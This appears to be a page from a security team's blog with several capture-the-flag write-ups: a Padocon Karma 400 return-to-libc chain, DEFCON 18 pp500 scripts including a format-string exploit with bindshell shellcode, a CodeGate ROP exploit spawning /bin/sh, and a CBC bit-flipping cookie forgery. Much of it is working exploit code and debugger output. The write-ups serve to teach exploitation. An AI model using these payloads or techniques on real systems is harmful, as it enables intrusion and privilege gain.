Padocon 2011 CTF Karma 400 exploit: the data re-use way

January 31, 2011 by longld · 1 Comment 

Karma 400 at Padocon 2011 Online CTF is a fun challenge. The binary was provided without source code, you can reach its decompiled source at disekt’s team writeup. In that writeup, the solution was bruteforcing address of IO stdin buffer with return to do_system() trick. Karma 400 is different than other karma attackme:

  • It runs as a network daemon (via xinetd): so you cannot abuse its arguments and environments
  • Input buffer is 200 bytes: you have room for payload (not only just overwrite saved EIP)
  • There is a 10 seconds sleep before main() returns: this makes bruteforcing less effective

In this post I will show how to exploit karma 400 with data re-use method.

$ gdb -q karma400_lolcosmostic
gdb$ pattern_create 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
gdb$ r
input: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

Program received signal SIGSEGV, Segmentation fault.
--------------------------------------------------------------------------[regs]
 EAX: 0x00000000  EBX: 0x41346141  ECX: 0xBFFFF384  EDX: 0x00B84FF4  o d I t S z a p c
 ESI: 0x00000000  EDI: 0x61413561  EBP: 0x62413961  ESP: 0xBFFFF3DC  EIP: 0x08048793
 CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
[0x007B:0xBFFFF3DC]------------------------------------------------------[stack]
0xBFFFF42C : 64 37 41 64 38 41 64 39 - 41 65 30 41 65 31 41 65 d7Ad8Ad9Ae0Ae1Ae
0xBFFFF41C : 41 64 32 41 64 33 41 64 - 34 41 64 35 41 64 36 41 Ad2Ad3Ad4Ad5Ad6A
0xBFFFF40C : 36 41 63 37 41 63 38 41 - 63 39 41 64 30 41 64 31 6Ac7Ac8Ac9Ad0Ad1
0xBFFFF3FC : 63 31 41 63 32 41 63 33 - 41 63 34 41 63 35 41 63 c1Ac2Ac3Ac4Ac5Ac
0xBFFFF3EC : 41 62 36 41 62 37 41 62 - 38 41 62 39 41 63 30 41 Ab6Ab7Ab8Ab9Ac0A
0xBFFFF3DC : 30 41 62 31 41 62 32 41 - 62 33 41 62 34 41 62 35 0Ab1Ab2Ab3Ab4Ab5
--------------------------------------------------------------------------[code]
=> 0x8048793:    ret
 0x8048794:    nop
 0x8048795:    nop
 0x8048796:    nop
--------------------------------------------------------------------------------
0x08048793 in ?? ()
gdb$ x/x $esp
0xbffff3dc:    0x31624130

gdb$ pattern_offset 200 0x31624130
Searching for 0Ab1 in buf size 200
32

We have 200-32 = 168 bytes left for our payload. The goal is to execute a custom shell in /tmp, for this purpose I choose execv("/tmp/v", ptr_to_NULL).

Step 1: transfer the string "/tmp/v" to un-used data region using chained strcpy() calls

gdb$ x/32wx 0x08049a50
0x8049a50:    0x00000000    0x00000000    0x00000000    0x00000000
0x8049a60 <stdin>:    0x00b85440    0x00000000    0x00000000    0x00000000
0x8049a70:    0x00000000    0x00000000    0x00000000    0x00000000
0x8049a80 <stdout>:    0x00b854e0    0x00000000    0x00000000    0x00000000
0x8049a90:    0x00000000    0x00000000    0x00000000    0x00000000
0x8049aa0:    0x00000000    0x00000000    0x00000000    0x00000000
0x8049ab0:    0x00000000    0x00000000    0x00000000    0x00000000
0x8049ac0:    0x00000000    0x00000000    0x00000000    0x00000000

TARGET = 0x8049a90
NULLARGV = TARGET - 4

gdb$ info func strcpy@plt
All functions matching regular expression "strcpy@plt":

Non-debugging symbols:
0x080484f0  strcpy@plt

STRCPY = 0x080484f0

gdb$ x/4i 0x80485e3
 0x80485e3:    pop    ebx
 0x80485e4:    pop    ebp
 0x80485e5:    ret
 0x80485e6:    lea    esi,[esi+0x0]
gdb$

POP2RET = 0x80485e3

gdb$ findsubstr 0x08048000 0x08049000 "/tmp/v\\x00"
Searching for '/tmp/v\x00'
'/': 0x8048134
't': 0x80480f6
'm': 0x80482dc
'p': 0x8048313
'/': 0x8048134
'v\x00': 0x80485e7

DATA1 = [0x8048134, 0x80480f6, 0x80482dc, 0x8048313, 0x8048134, 0x80485e7]

The payload will look like:
[ STRCPY, POP2RET, TARGET, DATA1[0],  STRCPY, POP2RET, TARGET+1, DATA1[1], ... ]

Step-2: overwrite GOT entry of puts() (or any function) with execv()
This is a bit tricky, because libc address is ASCII ARMOR we cannot put execv() address directly on the payload. Fortunately, libc address is not randomized so we can directly overwrite GOT with execv() address using strcpy likes the data above.

gdb$ p execv
$2 = {<text variable, no debug info>} 0xac4680 <execv>

EXECV = 0xac4680
gdb$ info functions puts@plt
All functions matching regular expression "puts@plt":

Non-debugging symbols:
0x08048540  puts@plt
gdb$ x/i 0x08048540
 0x8048540 <puts@plt>:    jmp    DWORD PTR ds:0x8049a48

PLTADDR = 0x08048540
GOTADDR = 0x8049a48

gdb$ findsubstr 0x08048000 0x08049000  0xac4680
Searching for '\x80F\xac'
'\x80': 0x804803d
'F': 0x8048003
'\xac': 0x80481b0

gdb$ findsubstr 0x08048000 0x08049000  0x00
Searching for '\x00'
'\x00': 0x8048007

DATA2 = [0x804803d, 0x8048003, 0x80481b0, 0x8048007]

The payload will look like:
[ STRCPY, POP2RET, GOTADDR, DATA2[0], STRCPY, POP2RET, GOTADDR+1, DATA2[1], ... ]

Finally, we make call to execv() via puts@plt:
[ PLTADDR, 0xdeadbeef, TARGET, NULLARGV ]

We have a small problem, our payload size is 176. Each strcpy() call takes 16 bytes payload and there is 10 calls for data transfer, we have to reduce at least 1 call. We can tweak our custom shell a bit to reduce payload length, instead of "/tmp/v" we use "/tmp/ld-linux.so.2" so the last string to copy is "/ld-linux.so.2".

gdb$ findsubstr 0x08048000 0x0804a000  "/"
Searching for '/'
'/': 0x8048134
gdb$ x/s 0x8048134
0x8048134:     "/lib/ld-linux.so.2"
gdb$ x/s 0x8048138
0x8048138:     "/ld-linux.so.2"

DATA1 = [0x8048134, 0x80480f6, 0x80482dc, 0x8048313, 0x8048138]

Wrap things up and test:

gdb$ shell python
Python 2.6.6 (r266:84292, Sep 15 2010, 15:52:39)
[GCC 4.4.5] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> TARGET = 0x8049a90
>>> NULLARGV = TARGET - 4
>>> STRCPY = 0x080484f0
>>> POP2RET = 0x80485e3
>>> DATA1 = [0x8048134, 0x80480f6, 0x80482dc, 0x8048313, 0x8048138]
>>> PAYLOAD = []
>>> for i in range(len(DATA1)):
...     PAYLOAD += [STRCPY, POP2RET, TARGET+i, DATA1[i]]
...
>>> for i in range(len(DATA2)):
...     PAYLOAD += [STRCPY, POP2RET, GOTADDR+i, DATA2[i]]
...
>>> PAYLOAD += [PLTADDR, 0xdeadbeef, TARGET, NULLARGV]
>>> len(PAYLOAD)
40
>>> fd = open("payload", "wb")
>>> import struct
>>> fd.write("A"*32) # padding
>>> for i in range(len(PAYLOAD)):
...     fd.write(struct.pack("<I", PAYLOAD[i]))
...
>>> fd.close()
>>> ^D

gdb$ shell ln -s /usr/bin/id /tmp/ld-linux.so.2
gdb$ r < payload
input: process 1866 is executing new program: /usr/bin/id

Program received signal SIGPIPE, Broken pipe.

Pwned!

Notes:

  • This way can also be applied to exploit karma 500
  • Disekt's return to do_system() trick is really neat for local exploit
Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

DEFCON 18 Quals: Pwtent Pwnables 500 write up

May 28, 2010 by RD · Leave a Comment 

This is a short write up since I’m a bit lazy. We didn’t solved it during the quals as it was too late (we exhausted and most of member including myself went to sleep so I only started looking into this in the morning of Monday. Didn’t have enough of time to finish it).

For pp500, ddtek gave us a pcap network dump of a remote exploit to a daemon on host 192.41.96.63, port 6913 and password to login is ‘antagonist’. Playing around with the daemon, I found out that ‘b’ command returns you back a block of 512 bytes from the binary.

Password: antagonist
? to see the menu
> ?
x - quit
d - donate entropy
r - report
b - /dev/hrnd
? - help
> b
Seed: 0
ELF     4�$4 (444�������&& l � ��/libexec/ld-elf.so.FreeBSDk5%20   .1!
                                                                      "
/)(-*>

Seed value from 0 to 19 returned the same data, 20 returned different data, 21-39 same as 20, … So I wrote a script to extract out all the blocks from the binary with seed values 0, 20, 40, 60, 80, ….. After filtered out all the duplicated blocks, there were totally 21 unique blocks.

#!/usr/bin/env python
import sys
import socket

class humpty:
        def  __init__(self, host, port):
                self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                self.s.connect((host, port))
                ret = self.s.recv(1024)
                print ret

        def login(self, passwd):
                self.s.send(passwd + "\n")
                ret = self.s.recv(1024)
                print ret

        def getdata(self, seed):
                print seed
                cmd = "b\n"
                self.s.send(cmd)
                ret = self.s.recv(1024)
                print ret
                ret = self.s.recv(1024)
                print ret

                self.s.send("%d\n" % seed)
                ret = ret + self.s.recv(1024)
                ret = ret
                #print len(ret), repr(ret)
                return ret[6:518]

        def close(self):
                self.s.close()

def log(file, data):
        f = open(file, "w")
        f.write(data)
        f.close()

host = '192.41.96.63'
port = 6913

c = humpty(host, port)
a = raw_input("Enter to continue");
c.login("antagonist")

data = []
for i in range(0, 100):
        data.append(c.getdata(20*i));

data = list(set(data))
print "Total %d unique blocks" % len(data)
for i in range(0, len(data)):
        log("%d"%i, data[i])

print "Done"
c.close()

From the pcap dump session, we can find out that the size of humpty binary is 10392, which is 21 blocks of 512 bytes

-rwxr-x---  1 root  humpty  10392 May 22 19:06 humpty
-rw-r-----  1 root  humpty     21 May 22 19:01 key

The task now is to merge all the blocks in a the right order to rebuild the ELF binary. What I did was to get a sample freebsd binary which has similar size as humpty, then used `split -b512` to split it to 21 chunks of 512 bytes and then compared side by side with the 21 extracted blocks from ddtek’s pp500 server, merged it manually and used readelf to verify the merged binary. Here (or here) is the binary for pp500’s humpty.

After getting the binary, the rest of the tasks are easy since ddtek gave us out the exploit from the pcap dump. The exploit is similar to the exploit of esd2. FYI, esd2 is the original binary for pp500 which was leaked out via pp200 shell. After ddtek guys realized of this problem, they modified the esd2, changed password, strings, commands, read elf block functions, xor input, .. and named it humpty.

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

DEFCON 18 Quals: Pwtent Pwnables 500 esd2 exploit

May 28, 2010 by longld · Leave a Comment 

CLGT did not solved this during the quals! Here is the exploit for  the esd2 leaked from pp200 (thanks beist for sharing). More analysis & write up for the real pp500 will come later:

#!/usr/bin/env python

import socket
import struct
import telnetlib
import time

HOST = '192.168.56.101'
PORT = 8302

def xor_input(data):
    static = "%5d | %5d\n" + "\x00"*4
    out = ""
    for i in range(len(data)):
        out += chr(ord(static[i]) ^ ord(data[i]))
    return out

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

# send password
s.send("sp3wn0w" + "\n")

# prepare the payload
# overwrite lseek@plt, original value = 0x08048ae2
target = 0x804a30c
# shellcode address = 0x0804a040 + 142 bytes (padding + fmt_string)
ret = 0x0804a0ce
# value to write into target
write_byte = 0xa0ce
# payload = target + padding(128 - 4) + 14 (fmt_string) + shellcode
padding = "A"*128
fmt_string = "%" + str(write_byte) + "u%24$hn"
fmt_string = xor_input(fmt_string)

# bindshell: port 5678
shellcode = "\x00\x29\xc9\x83\xe9\xec\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x63\x7d\xa9\x09\x83\xeb\xfc\xe2\xf4\x09\x1c\xf1\x90\x31\x15\xb9\x0b\x75\x53\x20\xe8\x31\x3f\xfb\x4b\x31\x17\xb9\xc4\xe3\xe4\x3a\x58\x30\x2f\xc3\x61\x3b\xb0\x29\xb9\x09\xb0\x29\x5b\x30\x2f\x19\x17\xae\xfd\x3e\x63\x61\x24\xc3\x53\x3b\x2c\xfe\x58\xae\xfd\xe0\x70\x96\x2d\xc1\x26\x4c\x0e\xc1\x61\x4c\x1f\xc0\x67\xea\x9e\xf9\x5d\x30\x2e\x19\x32\xae\xfd\xa9\x09"

payload = struct.pack("<L", target) + padding[4:] + fmt_string + shellcode + "\n"

print "Sending payload...", repr(payload)
s.send("c\n" + str(len(payload)) +"\n")
s.send(payload)
# trigger the read_blob that calls lseek()
s.send("r\n" + "10\n")

print "Connecting to remote shell port 5678..."
time.sleep(4)
t = telnetlib.Telnet(HOST, 5678)
t.write("id\n\n")
t.interact()

t.close()
s.close()
Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

Return-oriented-programming practice: exploiting CodeGate 2010 Challenge 5

April 18, 2010 by longld · 4 Comments 

In my previous post about CodeGate 2010 Challenge 5 exploit, I mentioned the weakness of accessing server to get execl() address. In this post I will show how to blindly exploit the “harder” program without access to the remote server using return-oriented-programming technique.

ROP introduction

A worth to read post about ROP introduction can be found on Zynamics blog: http://blog.zynamics.com/2010/03/12/a-gentle-introduction-to-return-oriented-programming/

In summary: we will use return-into-instructions (called gadgets) to build and execute our payload when controlled EIP and ESP from vulnerable program.

ROP limitations (difficulties):

  • ASLR: the same as return-into-libc, it’s difficult to locate address of instructions in library (e.g libc)
  • ASCII-armor address: with ascii-armor remapping of libraries (e.g libc), addresses will contain NULL byte so chaining return-into-libc calls and ROP is impossible if there’s NULL filter in input

The “harder” case

Fortunately, we can blindly exploit the “harder” program using ROP because it provides some “advantages” in code:

  • getline(): can pass NULL byte to input
  • printf(): can leak runtime memory info (bypass ASLR)

Finding ROP gadgets

Our target is to invoke execve(”/bin/sh”, 0, 0) syscall, which is equivalent to prepare registers’ value then trigger kernel syscall:

eax = 0xb // execve
ebx = address of “/bin/sh”
ecx = 0 // argv
edx = 0 // env

Searching in harder binary, we found below gadgets:

  • eax:
    80483a4:    58                       pop    %eax
    80483a5:    5b                       pop    %ebx
    80483a6:    c9                       leave
    80483a7:    c3                       ret
  • ebx & ecx:
    8048634:    59                       pop    %ecx
    8048635:    5b                       pop    %ebx
    8048636:    c9                       leave
    8048637:    c3                       ret

    “/bin/sh” is placed on target buffer, its address is available by leaking via printf()

  • edx:
    There’s no edx related gadget but observing that when returned from memcpy() edx’s value is set to esi so we can assign esi to 0×0 first then return again to main to nullify edx.

    0x001ba506 :    mov    edx,esi
    80485e6:    5e                       pop    %esi
    80485e7:    5f                       pop    %edi
    80485e8:    5d                       pop    %ebp
    80485e9:    c3                       ret
  • syscall:
    In recent Linux kernel, syscall is usually performed via linux gate: call gs:[0x10]. By return to back to printf() in harder program many times, we can find the offset from getline() to first syscall is 319 bytes.
  • moving stack:
    After “leave; ret” our stack will be moved to new location pointing by ebp. We can control this by set ebp back to somewhere in the middle of target buffer.

Exploit code


#!/usr/bin/env python

import socket
import sys
import struct
import telnetlib

#host = 'ctf4.codegate.org'
host = '127.0.0.1'
port = 9005

c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
c.connect((host, port))

buf=""
# bypass first read
buf = c.recv(1024)

# getline() address
buf = "A"*268 + struct.pack('i', 0x08048524) + struct.pack('i', 0x0804a008) + "\n"
c.send(buf)
buf = c.recv(1024)
addr = ""
getline_addr = int(buf[:4][::-1].encode('hex'), 16)
print "getline() is at:", hex(getline_addr)

# call gs:[0x10] address
offset = 319 # first offset is 319 bytes from getline()
syscall_addr = getline_addr + offset

# buffer address
buf = "%7$x" + "\x00"*260 + struct.pack('i', 0x08048521)*2 + "\n"
c.send(buf)
buf = c.recv(1024)
input_addr = int(buf[:8], 16)
print "Buffer address is at: ", hex(input_addr)

# gadgets address
pop_eax = 0x080483a4
pop_ecx_ebx = 0x08048634
pop_esi = 0x080485e6

# pop esi
buf = "A"*268 + struct.pack('i', pop_esi) + "\x00" * 12 + struct.pack('i', 0x08048524)*2  + "\n"
c.send(buf)
c.recv(1024)

# pop eax then move stack to new address
input_addr += 560 # lifting after 2 getline() calls
new_stack = input_addr+8
buf = "/bin/sh\x00" # /bin/sh
buf += struct.pack('i', new_stack+16) # next ebp after leave from pop_eax
buf += struct.pack('i', pop_ecx_ebx) # next is pop_ecx_ebx
buf += "\x00"*4 # ecx
buf += struct.pack('i', input_addr) # ebx -> /bin/sh
buf += "A"*4 # un-used ebp after leave from pop_ecx_ebx
buf += struct.pack('i', syscall_addr)
buf = buf.ljust(264, "A") # padding
buf += struct.pack('i', new_stack) # new ebp
buf += struct.pack('i', pop_eax)
buf += "\x0b\x00\x00\x00" # execve syscal
buf += "A"*4 # un-used ebx
buf += "\n"

print "Sending final payload ..."
c.send(buf)
c.send("id 2>&1" + "\n"*5)

t = telnetlib.Telnet()
t.sock = c
t.interact()
c.close()
Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

CodeGate 2010 – Challenge 8: Bit-flipping attack on CBC mode

March 23, 2010 by vnsec · Leave a Comment 

Writeup for CodeGate 2010 Challenge 8 by namnx


This is a web-based cryptography challenge. In this challenge, we were provided a URL and a hint ”the first part is just an IV“.

The URL is: http://ctf1.codegate.org/99b5f49189e5a688492f13b418474e7e/web4.php.

Analysis

Go to the challenge URL. It will ask you the username for the first time. After we enter a value, for example ‘namnx‘, it will return only a single message “Hello, namnx!“. Examine the HTTP payload, we will see the cookie returned:

web4_auth=1vf2EJ15hKzkIxqB27w0AA==|5X5A0e3r48gXhUXZHEKBa5dpC+XfdVv4oamlriyi5yM=

The cookie includes 2 parts delimited by character ‘|’. After base64 decode the first part of the cookie, we have a 16-byte value. According to the hint, this is the IV of the cipher. And because it has 16-byte length, I guess that this challenge used AES cipher, and the block size is 16 bytes. Moreover, the cipher has an IV, so it can’t be in ECB mode. I guessed it in CBC mode. The last part is the base64 of a 32-byte value. This is a cipher text. We will exploit this value later.

Browse the URL again, we will receive another message: “Welcome back, namnx! Your role is: user. You need admin role.” Take a look into this message, we can guess the operation of this app: it will receive the cookie from the client, decrypt it to get the user and role information and return the message to the client based on the user and role information. So, in order to get further information, we must have the admin role. This is our goal in this challenge.

Exploit

I wrote some Python to work on this challenge easier:

    import urllib, urllib2
    import base64, re

    url = 'http://ctf1.codegate.org/99b5f49189e5a688492f13b418474e7e/web4.php'
    user_agent = 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)'

    def get_cookie(user):
        headers = { 'User-Agent' : user_agent}
        values = {'username' : user, 'submit' : "Submit"}
        data = urllib.urlencode(values)
        request = urllib2.Request(url, data, headers)
        response = urllib2.urlopen(request)
        cookie = response.info().get('Set-Cookie')
        groups = re.match("web4_auth=(.+)\|(.+);.+", cookie).groups()
        iv = base64.b64decode(groups[0])
        cipher = base64.b64decode(groups[1])
        return iv, cipher

    def get_message(iv, cipher):
        cookie = base64.b64encode(iv) + '|' + base64.b64encode(cipher)
        cookie = urllib.quote(cookie)
        cookie = 'web4_auth=' + cookie
        headers = { 'User-Agent' : user_agent, 'Cookie': cookie}
        request = urllib2.Request(url, None, headers)
        response = urllib2.urlopen(request)
        data = response.read()
        print repr(data)
        groups = re.match(".+, (.*)! .+: (.*)\. You.+", data).groups()
        return groups[0], groups[1]

The first function, get_cookie will submit a value as a username in the first visit to the page, get the returned cookie, and then parse it to get the IV and cipher. The second function, get_message, do the task like when you visit the page in later times, it parses the response message to get the returned username and role.

    >>> iv, cipher = get_cookie('123456789012')
    >>> len(cipher)
    32
    >>> iv, cipher = get_cookie('1234567890123')
    >>> len(cipher)
    48

When you input the user with a 12-byte value, the returned cipher will have 32 bytes (2 blocks). And when you enter a 13-byte value, the cipher will have 48 bytes (3 blocks). This means that beside the username value, the plain text of the cipher will be added more 20 bytes.

Try altering the cipher text to see how it is decrypted:

    >>> iv, cipher = get_cookie('1234567890')
    >>> cipher1 = cipher[:-1] + '\00'
    >>> username, role = get_message(iv, cipher1)
    'Welcome back, 1234567\xa2\xc2\xca\xfei\xdb\xee_c\xa7\xd7\x0c\xa9j\xe0\xbb! Your role is: . You need admin role.'

As you can see, the last block of the decrypted role is the first block of the plain text. So, the format of the plain text may be: ‘username=’ + username + [11 bytes].

To here, we can guess that the format of the plain text can be something like:

‘username=’ + username + [delimiter] + [param] + ‘=’ + [value]

The last 11 bytes of the plain text can be determined by the code below:

    >>> iv, cipher = get_cookie('\x00')
    >>> username, role = get_message(iv, cipher)
    'Welcome back, \x00##role=user\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00! Your role is: . You need admin role.'

You can see the last 11 bytes of the plain text in the returned message. So, at this time, we can conclude format of the plain text is:

‘username=’ + username + ‘##role=’ + role

Now, the last thing we have to do is altering the role value to ‘admin’. Because we’ve already known the format of the plain text, we can choose to input the username close to the target plain text and try to alter the cipher text in the way that the decrypted value is what we want.

Let remind the operation of CBC mode in cryptographic ciphers. In encryption process:

y[1] = C(IV xor x[1])
y[n] = C(y[n-1] xor x[n])

and in the decryption:

x[1] = D(y[1]) xor IV
x[n] = D(y[n]) xor y[n-1]

Notice that if we flip one bit in the (n-1)th block of cipher text, the respective bit in the n-th block of plain text will be also flipped. So, we will you this fact to exploit the challenge:

    >>> iv, cipher = get_cookie('012345678901234567890123#role=admin')
    >>> s = cipher[:16] + chr(ord(cipher[16]) ^ 0x10) + cipher[17:]
    >>> username, role = get_message(iv, s)
    'Welcome back, 0123456L\xaa\x17m\xe9\x91\xdc\xe2`#z)\xd8m\xd8\x18! Your role is: admin. You need admin role. Congratulations! Here is your flag: the_magic_words_are_squeamish_ossifrage_^-^!!!!!'

Successful! Such an interesting challenge, isn’t it?

References

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

« Previous PageNext Page »